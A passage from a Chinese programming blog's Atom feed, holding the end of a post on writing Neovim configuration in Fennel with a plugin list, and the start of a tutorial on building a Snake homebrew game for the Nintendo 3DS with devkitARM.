&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;              (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;when&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; jump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; marker&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; marker last&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;                (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.cmd.normal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;g`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd BufWritePre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;*&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd FileType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;*&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; formatoptions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;:c :r :o]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;autocmd BufWritePre&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;tmp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;&#x2F;* #&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; vim.bo.undofile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; [plugins]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lazypath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.stdpath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :data) :&#x2F;lazy&#x2F;lazy.nvim)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;when&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;not&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.loop.fs_stat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; lazypath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;vim.fn.system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot;git clone --filter=blob:none --branch=stable https:&#x2F;&#x2F;github.com&#x2F;folke&#x2F;lazy.nvim.git &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;                       lazypath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;set^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; rtp lazypath&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;lazy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;require&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :lazy)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;  (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;lazy.setup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; :plugins))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;相关插件&quot;&gt;相关插件&lt;&#x2F;h2&gt;
&lt;p&gt;我在切换到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置的过程中，用到了如下插件：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Olical&#x2F;nfnl&quot;&gt;Olical&#x2F;nfnl&lt;&#x2F;a&gt;：在保存&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码时自动翻译成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码。没它我根本不想用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim，更别提用宏了；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Olical&#x2F;conjure&quot;&gt;Olical&#x2F;conjure&lt;&#x2F;a&gt;：运行选中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码，主打一个方便；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mnacamura&#x2F;vim-fennel-syntax&quot;&gt;mnacamura&#x2F;vim-fennel-syntax&lt;&#x2F;a&gt;：没有高亮我可怎么写代码呀；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gpanders&#x2F;nvim-parinfer&quot;&gt;nvim-parinfer&lt;&#x2F;a&gt;：Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;lisp-game-jam-2022&#x2F;#Parinfer&quot;&gt;Parinfer&lt;&#x2F;a&gt;，体验和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版差不多。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上还有一些其他人为了配置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;而写的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Fennel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;宏。我个人觉得宏像量体裁衣，所以倾向于自己写。不过还是把它们放在这里，毕竟有时也能在商场买到很合身的衣服：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;datwaft&#x2F;themis.nvim&quot;&gt;themis.nvim&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;udayvir-singh&#x2F;hibiscus.nvim&quot;&gt;hibiscus.nvim&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tsbohc&#x2F;zest.nvim&quot;&gt;zest.nvim&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;fennel-macro-neovim
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;fennel-macro-neovim&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>给3DS写个贪吃蛇</title>
    <published>2023-07-30T13:49:12+01:00</published>
    <updated>2023-07-30T13:50:43+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/3ds-snake/" type="text/html" />
    <id>https://emptystack.top/3ds-snake/</id>
    <content type="html">
      &lt;p&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;早已停产，eShop&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也于今年关闭。看起来，3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经不会再有新游戏了——除非，自己来写&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;本文介绍的贪吃蛇也不新，其实是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2021-07-21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写的。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;screen-20230728-164137~2-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;screen-20230728-164137~2-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：使用Citra模拟3DS运行我写的贪吃蛇
&lt;&#x2F;video&gt;
&lt;p&gt;&lt;img alt=&quot;小蛇咬着苹果的图标&quot; src=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;3ds-snake.png&quot; style=&quot;display:inline-block;height:2em;width:auto;transform:translate(0,.2em)&quot; id=&quot;icon&quot;&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;3ds-snake.3dsx&quot;&gt;点我下载&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3ds-snake.3dsx&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#先决条件&quot;&gt;先决条件&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#安装游戏&quot;&gt;安装游戏&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#安装工具链和库&quot;&gt;安装工具链和库&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#构建示例程序&quot;&gt;构建示例程序&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#基本框架&quot;&gt;基本框架&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#画地图&quot;&gt;画地图&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#画苹果&quot;&gt;画苹果&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#画蛇&quot;&gt;画蛇&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#碰撞检测及生成苹果&quot;&gt;碰撞检测及生成苹果&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#读取输入、生成新蛇头&quot;&gt;读取输入、生成新蛇头&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#完整代码&quot;&gt;完整代码&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;先决条件&quot;&gt;先决条件&lt;&#x2F;h2&gt;
&lt;p&gt;理想情况下，我们可以自由地使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;运行任何程序。可遗憾的是：想要跑自己的游戏，需要破解&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;并安装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Homebrew
Launcher（hbmenu&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果不想破解，也可以用模拟器玩。但是模拟器的性能要比实机强，所以最好还是安装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hbmenu，来验证自己的游戏能不能在真实的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上正常运行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;安装游戏&quot;&gt;安装游戏&lt;&#x2F;h2&gt;
&lt;p&gt;如果用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实机&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;+hbmenu&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的话，把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3ds-snake.3dsx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;拖到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;SD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;卡中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gbatemp.net&#x2F;threads&#x2F;how-to-install-3dsx-files.474074&#x2F;#post-7388114&quot;&gt;3ds&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹内&lt;&#x2F;a&gt;。打开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;hbmenu&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;即可看到下载链接旁的&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;3ds-snake&#x2F;#icon&quot;&gt;小蛇图标&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果用模拟器的话，直接打开&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3ds-snake.3dsx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所在目录即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;安装工具链和库&quot;&gt;安装工具链和库&lt;&#x2F;h2&gt;
&lt;p&gt;简而言之，我们需要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ARM11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的编译工具，与可以利用屏幕、按键等外设的库。正规渠道是向任天堂申请开发者工具，但如果不想泄露个人信息，还是使用由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;devkitpro.org&#x2F;wiki&#x2F;About&quot;&gt;devkitPro&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;团队&lt;&#x2F;a&gt;维护的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;devkitpro.org&#x2F;wiki&#x2F;devkitARM&quot;&gt;devkitARM&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;吧。devkitARM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ARM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;架构的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GCC、基于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Newlib&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;C&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标准库和用于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编程的库&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libctru&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;SciresM&#x2F;status&#x2F;919020504970805248&quot;&gt;3DS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的内部代号是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CiTRus&lt;&#x2F;a&gt;，libctru、Citra&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应该都得名于此。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;devkitpro.org&#x2F;wiki&#x2F;devkitPro_pacman&quot;&gt;devkitPro&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pacman&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来管理他们的软件&lt;&#x2F;a&gt;，同时也提供&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;hub.docker.com&#x2F;r&#x2F;devkitpro&#x2F;devkitarm&quot;&gt;包含&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;devkitARM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Docker&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镜像&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pacman&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;意味着用户只能得到最新版，如果想找老版本的，可以去：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wii.leseratte10.de&#x2F;devkitPro&#x2F;devkitARM&#x2F;&quot;&gt;https:&#x2F;&#x2F;wii.leseratte10.de&#x2F;devkitPro&#x2F;devkitARM&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;我推荐直接用后者，省去一步步安装、污染环境的麻烦。&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Docker&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下载&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;devkitARM&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镜像的命令是（但其实不用手动下载，后面会提到&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
